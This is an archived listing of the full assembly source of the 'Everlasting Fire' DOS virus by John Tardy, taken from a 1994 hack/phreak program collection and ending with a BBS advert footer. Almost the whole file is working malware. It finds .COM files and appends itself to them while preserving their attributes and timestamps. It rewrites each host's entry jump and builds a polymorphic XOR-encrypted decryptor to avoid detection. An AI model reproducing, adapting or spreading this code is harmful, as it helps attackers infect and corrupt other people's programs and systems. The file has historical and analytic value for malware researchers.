home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / E.ZIP / EVERFIRE.ZIP / EVERFIRE.A86 next >
Text File  |  1994-01-09  |  6KB  |  232 lines

  1. ;
  2. ; Everlasting Fire Virus by John Tardy
  3. ;
  4.  
  5.                 Org 100h
  6.  
  7. Jump:           Jmp Virus
  8.  
  9. Decr:
  10. Instr:          db 'Generation'
  11. Loopje          DB 0e2h
  12.                 db 0fah
  13. DecrLen         Equ $-Decr
  14. Crypt:
  15. Virus:          Push Ax
  16.                 Call GetOfs
  17. GetOfs:         Pop Ax
  18.                 Sub Ax,GetOfs
  19.                 Mov Bp,Ax
  20.  
  21.                 Lea Si,OrgPrg[BP]
  22.                 Mov Di,100h
  23.                 Movsw
  24.                 Movsb
  25.  
  26.                 Mov Ah,1ah
  27.                 Mov Dx,0f900h
  28.                 Int 21h
  29.  
  30.                 Mov Ah,4eh
  31. Search:         Lea Dx,FileSpec[BP]
  32.                 Xor Cx,Cx
  33.                 Int 21h
  34.                 Jnc Found
  35.  
  36. Ready:          Mov Ah,1ah
  37.                 Mov Dx,80h
  38.                 Int 21h
  39.  
  40.                 Mov Bx,100h
  41.                 Pop Ax
  42.                 Push Bx
  43.                 Ret
  44.  
  45. Found:          Mov Ax,4300h
  46.                 Mov Dx,0f91eh
  47.                 Int 21h
  48.  
  49.                 Push Cx
  50.                 Mov Ax,4301h
  51.                 Xor Cx,Cx
  52.                 Int 21h
  53.  
  54.                 Mov Ax,3d02h
  55.                 Int 21h
  56.                 Mov Bx,5700h
  57.                 Xchg Ax,Bx
  58.                 Int 21h
  59.                 Push Cx
  60.                 Push Dx
  61.                 And Cx,1fh
  62.                 Cmp Cx,1
  63.                 Jne CheckExe
  64.                 Jmp ExeFile
  65.  
  66. CheckExe:       Mov Ah,3fh
  67.                 Lea Dx,OrgPrg[BP]
  68.                 Mov Cx,3
  69.                 Int 21h
  70.                 Mov Ax,Cs:[OrgPrg][BP]
  71.                 Cmp Ax,'MZ'
  72.                 Je ExeFile
  73.                 Cmp Ax,'ZM'
  74.                 Je ExeFile
  75.                 Pop Dx
  76.                 Pop Cx
  77.                 And Cx,0ffe0h
  78.                 Or Cx,1
  79.                 Push Cx
  80.                 Push Dx
  81.  
  82. Infect:
  83.                 Mov Ax,4202h
  84.                 Call FSeek
  85.                 Sub Ax,3
  86.                 Mov Cs:CallPtr[BP]+1,Ax
  87.                 Add Ax,Offset Crypt
  88.                 Mov S_1[Bp+1],Ax
  89.                 Mov S_2[Bp+1],Ax
  90.                 Mov S_3[Bp+4],Ax
  91.                 Mov S_4[Bp+4],Ax
  92.                 Call GenPoly
  93.  
  94.                 Mov Ah,40h
  95.                 Lea Dx,0fa00h
  96.                 Mov Cx,VirLen
  97.                 Int 21h
  98.                 Mov Ax,4200h
  99.                 Call FSeek
  100.                 Mov Ah,40h
  101.                 Lea Dx,CallPtr[BP]
  102.                 Mov Cx,3
  103.                 Int 21h
  104.                 Call Close
  105.                 Jmp Ready
  106.  
  107.  
  108. ExeFile:        Call Close
  109.                 Mov Ah,4fh
  110.                 Jmp Search
  111. FSeek:          Xor Cx,Cx
  112.                 Xor Dx,Dx
  113.                 Int 21h
  114.                 Ret
  115.  
  116. Close:          Pop Si
  117.                 Pop Dx
  118.                 Pop Cx
  119.                 Mov Ax,5701h
  120.                 Int 21h
  121.                 Mov Ah,3eh
  122.                 Int 21h
  123.                 Mov Ax,4301h
  124.                 Pop Cx
  125.                 Mov Dx,0fc1eh
  126.                 Int 21h
  127.                 Push Si
  128.                 Ret
  129.  
  130.                 Db 13,10,'Mourners of a dying world'
  131.                 Db 13,10,'Too late to reconcile'
  132.                 Db 13,10,'Into Everlasting Fire'
  133.                 Db 13,10,'Can''t you see it''s Satan''s world'
  134.  
  135. GenPoly:        Xor Byte Ptr [Loopje][Bp],2
  136.                 Xor Ax,Ax
  137.                 Mov Es,Ax
  138.                 Mov Ax,Es:[46ch]
  139. ;                Xor Ax,Ax               ; DEZE ERUIT!!!
  140.                 Mov Es,Cs
  141.                 Push Ax
  142.                 And Ax,07ffh
  143.                 Add Ax,CryptLen
  144.                 Mov S_1[Bp+4],Ax
  145.                 Mov S_2[Bp+4],Ax
  146.                 Mov S_3[Bp+1],Ax
  147.                 Mov S_4[Bp+1],Ax
  148. Doit:           Pop Ax
  149.                 Push Ax
  150.                 And Ax,3
  151.                 Shl Ax,1
  152.                 Mov Si,Ax
  153.                 Mov Ax,Word Ptr Table[Si][Bp]
  154.                 Add Ax,Bp
  155.                 Mov Si,Ax
  156.                 Lea Di,Instr[Bp]
  157.                 Movsw
  158.                 Movsw
  159.                 Movsw
  160.                 Movsw
  161.                 Pop Ax
  162.                 Stosb
  163.                 Movsb
  164.                 Mov Dl,Al
  165.                 Lea Si,Decr[BP]
  166.                 Mov Di,0fa00h
  167.                 Mov Cx,DecrLen
  168.                 Rep Movsb
  169.                 Lea Si,Crypt[BP]
  170.                 Mov Cx,CryptLen
  171. Encrypt:        Lodsb
  172.                 Xor Al,Dl
  173.                 Stosb
  174.                 Loop Encrypt
  175.                 Cmp Dl,0
  176.                 Je  Fuckit
  177.                 Ret
  178.  
  179. FuckIt:         Lea Si,Encr0
  180.                 Mov Di,0fa00h
  181.                 Mov Cx,Encr0Len
  182.                 Rep Movsb
  183.                 Mov Ax,Cs:CallPtr[BP]+1
  184.                 Add Ax,Encr0Len+2
  185.                 Mov Cs:CallPtr[BP]+1,Ax
  186.                 Ret
  187.  
  188.                 DB 'TRIDENT'
  189.  
  190. Table           DW Offset S_1
  191.                 DW Offset S_2
  192.                 DW Offset S_3
  193.                 DW Offset S_4
  194.  
  195. S_1:            Lea Si,0
  196.                 Mov Cx,0
  197.                 DB 80h,34h
  198.                 Inc Si
  199. S_2:            Lea Di,0
  200.                 Mov Cx,0
  201.                 DB 80h,35h
  202.                 Inc Di
  203. S_3:            Mov Cx,0
  204.                 Lea Si,0
  205.                 DB 80h,34h
  206.                 Inc Si
  207. S_4:            Mov Cx,0
  208.                 Lea Di,0
  209.                 DB 80h,35h
  210.                 Inc Di
  211.  
  212. Encr0           Db 'John Tardy'
  213. Encr0Len        Equ $-Encr0
  214.  
  215. CallPtr         Db 0e9h,0,0
  216.  
  217. FileSpec        Db '*.CoM',0
  218.  
  219. OrgPrg:         Int 20h
  220.                 Db '!'
  221.  
  222. CryptLen        Equ $-Crypt
  223.  
  224. VirLen          Equ $-Decr
  225.  
  226.  
  227.  
  228. ;  ─────────────────────────────────────────────────────────────────────────
  229. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  230. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  231. ;  ─────────────────────────────────────────────────────────────────────────
  232.